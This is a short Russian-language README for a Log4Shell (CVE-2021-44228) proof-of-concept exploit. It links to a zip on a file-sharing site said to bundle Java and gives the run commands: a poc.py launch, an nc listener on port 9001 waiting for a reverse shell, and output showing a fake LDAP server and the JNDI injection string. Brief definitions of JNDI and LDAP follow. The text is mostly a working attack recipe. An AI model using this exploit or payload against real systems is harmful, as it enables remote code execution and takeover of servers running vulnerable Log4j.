Log4j-Exploit-CVE-2021-44228

Инструмент тестирования уязвимости Log4Shell https://log4shell.tools/

Эксплойт с уже включенным java, чтобы избежать создания учетной записи и т.д..

http://www.mediafire.com/file/bs1spnysc6fbz1a/log4j-shell-poc_%25281%2529.zip/file

pip install -r requirements.txt

$ python3 poc.py --userip localhost --webport 8000 --lport 9001

nc -lvnp 9001

$ python3 poc.py --userip localhost --webport 8000 --lport 9001

[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc

[+] Exploit java class created success
[+] Setting up fake LDAP server

[+] Send me: ${jndi:ldap://localhost:1389/a}

Listening on 0.0.0.0:1389

Основная концепция log4j

Что такое JNDI

Это интерфейс, API Java для службы каталогов, который позволяет клиентам Java-программного обеспечения обнаруживать и искать данные и ресурсы по имени.

Что такое LDAP

Это протокол доступа к каталогу. LDAP может использоваться для проверки имен пользователей и паролей с серверами Docker, Jenkins, Kubernetes, Open VPN и Linux Samba. Единый вход LDAP также может использоваться системными администраторами для управления доступом к базе данных LDAP.